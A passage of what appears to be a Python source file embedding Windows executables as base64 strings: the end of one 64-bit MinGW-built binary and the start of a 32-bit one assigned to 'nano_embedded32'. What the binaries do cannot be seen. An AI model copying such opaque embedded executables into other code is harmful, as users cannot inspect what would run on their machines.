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AmEQBAFhzAACYdQAApEQBAJh1AAC3eAAAsEQBALd4AACJeQAAvEQBAJB5AADTeQAAyEQBANN5AAA4fgAA1EQBADh+AAAxkAAA4EQBAECQAAB6kAAA9EQBAICQAADqkAAA/EQBAPCQAAAPkQAACEUBABCRAAATkQAADEUBACCRAABPkQAAEEUBAFCRAADRkQAAGEUBAOCRAADjkQAAJEUBAPCRAADokgAAKEUBAPCSAADzkgAAQEUBAACTAABqkwAAREUBAHCTAADSlAAAUEUBAOCUAAAUmAAAXEUBACCYAABhmAAAdEUBAHCYAAB8mAAAfEUBAICYAAA6mgAAgEUBAECaAACrmgAAiEUBALCaAAAomwAAmEUBADCbAAC5mwAApEUBAMCbAACinAAArEUBALCcAADcnAAAtEUBAOCcAAAvnQAAuEUBADCdAADPnQAAvEUBANCdAABIngAAyEUBAFCeAACJngAAzEUBAJCeAAD7ngAA0EUBAACfAAA2nwAA1EUBAECfAADHnwAA2EUBANCfAACOoAAA3EUBANCgAAD3oAAA4EUBAAChAABHoQAA5EUBAFChAABBogAA8EUBAFCiAACnogAA+EUBALCiAAAIpAAAAEYBABCkAABApQAAFEYBAEClAACHpQAAIEYBAJClAAA9pgAALEYBAECmAABxqwAANEYBAICrAAAUrwAATEYBACCvAACAsAAAZEYBAICwAAAitAAAeEYBADC0AAAQtQAAiEYBABC1AACwtQAAlEYBALC1AACQtgAAoEYBAJC2AAAAuAAArEYBAAC4AAA6vAAAuEYBAEC8AABuxwAAzEYBAHDHAACnxwAA5EYBALDHAAAsyAAA7EYBADDIAABMyAAA+EYBAFDIAADGyQAA/EYBANDJAADX4AAAFEcBAODgAADV4QAAMEcBAODhAAAj4gAAQEcBADDiAAAM4wAAREcBABDjAABS4wAAUEcBAGDjAABS5AAAWEcBAGDkAADE5AAAZEcBANDkAAB95QAAbEcBAIDlAAA95gAAfEcBAEDmAACZ5wAAhEcBAKDnAACg6QAAnEcBAKDpAACu6gAAsEcBALDqAAAA6wAAxEcBAADrAADF7AAAyEcBANDsAADo7QAA2EcBAPDtAAD57gAA4EcBAADvAAAq7wAA7EcBADDvAABY7wAA8EcBAGDvAABr7wA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ARoYBAAAAAABQhgEAAAAAAF6GAQAAAAAAaIYBAAAAAAB0hgEAAAAAAH6GAQAAAAAAiIYBAAAAAACUhgEAAAAAAJyGAQAAAAAApoYBAAAAAACwhgEAAAAAALqGAQAAAAAAxoYBAAAAAADOhgEAAAAAANaGAQAAAAAA4IYBAAAAAADohgEAAAAAAPKGAQAAAAAA+oYBAAAAAAAChwEAAAAAAAyHAQAAAAAAGocBAAAAAAAkhwEAAAAAADCHAQAAAAAAOocBAAAAAABEhwEAAAAAAE6HAQAAAAAAVocBAAAAAABghwEAAAAAAGiHAQAAAAAAdIcBAAAAAAB+hwEAAAAAAIiHAQAAAAAAkocBAAAAAACchwEAAAAAAKaHAQAAAAAAsocBAAAAAAC8hwEAAAAAAMaHAQAAAAAA0IcBAAAAAAAAAAAAAAAAABsBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAD8BRW50ZXJDcml0aWNhbFNlY3Rpb24AAHYCR2V0TGFzdEVycm9yAADMAkdldFByb2Nlc3NIZWFwAADnAkdldFN0YXJ0dXBJbmZvQQBfA0hlYXBBbGxvYwBlA0hlYXBGcmVlAAB8A0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AlwNJc0RCQ1NMZWFkQnl0ZUV4AADYA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAMBE11bHRpQnl0ZVRvV2lkZUNoYXIAcgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAABsBX2luaXR0ZXJtAIEBX2xvY2sAJwJfb25leGl0ALICX3RpbWU2NADHAl91bmxvY2sACANfd2NzaWNtcAAAhQNhYm9ydACSA2F0b2kAAJYDY2FsbG9jAACjA2V4aXQAALcDZnByaW50ZgC5A2ZwdXRjAL4DZnJlZQAAywNmd3JpdGUAAPQDbG9jYWxlY29udgAA+gNtYWxsb2MAAP0DbWJzdG93Y3MAAAEEbWVtY21wAAACBG1lbWNweQAABARtZW1zZXQAABYEcmFuZAAAIgRzaWduYWwAACsEc3JhbmQANwRzdHJlcnJvcgAAOQRzdHJsZW4AADwEc3RybmNtcAA9BHN0cm5jcHkAQARzdHJyY2hyAEEEc3Ryc3BuAABeBHZmcHJpbnRmAAB4BHdjc2xlbgAAeQR3Y3NuY2F0AHwEd2NzbmNweQCDBHdjc3N0cgAAAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAEtFUk5FTDMyLmRsbAAAAAAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAQAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAUJEAQAEAAAAgkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAADAAAAOinAAAAAAEAHAAAABCgcKCAoJCgoKCwoLigwKDIoNCgABABABQAAADgrACtCK0QrRitAAAAIAEARAAAAKCjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKUAAACQAQAQAAAACKAgoDigQKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==") - self.nano_embedded32 = base64.b64decode("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEJAAAAAAAAOAEAAAAAAOAADgMLAQIlAN4AAAA0AQAAJAAAsBQAAAAQAAAA8AAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADAAQAABAAApyUCAAMAQAEAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAQBcBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALABAJQHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUDAEAGAAAAAAAAAAAAAAAAAAAAAAAAABcgQEAIAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAANNwAAAAQAAAA3gAAAAQAAAAAAAAAAAAAAAAAAGAAAGAuZGF0YQAAAMwAAAAA8AAAAAIAAADiAAAAAAAAAAAA